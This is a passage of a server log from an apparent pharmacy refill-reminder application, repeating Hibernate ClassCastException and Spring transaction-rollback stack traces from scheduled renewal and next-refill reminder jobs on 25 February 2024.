org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:35:00 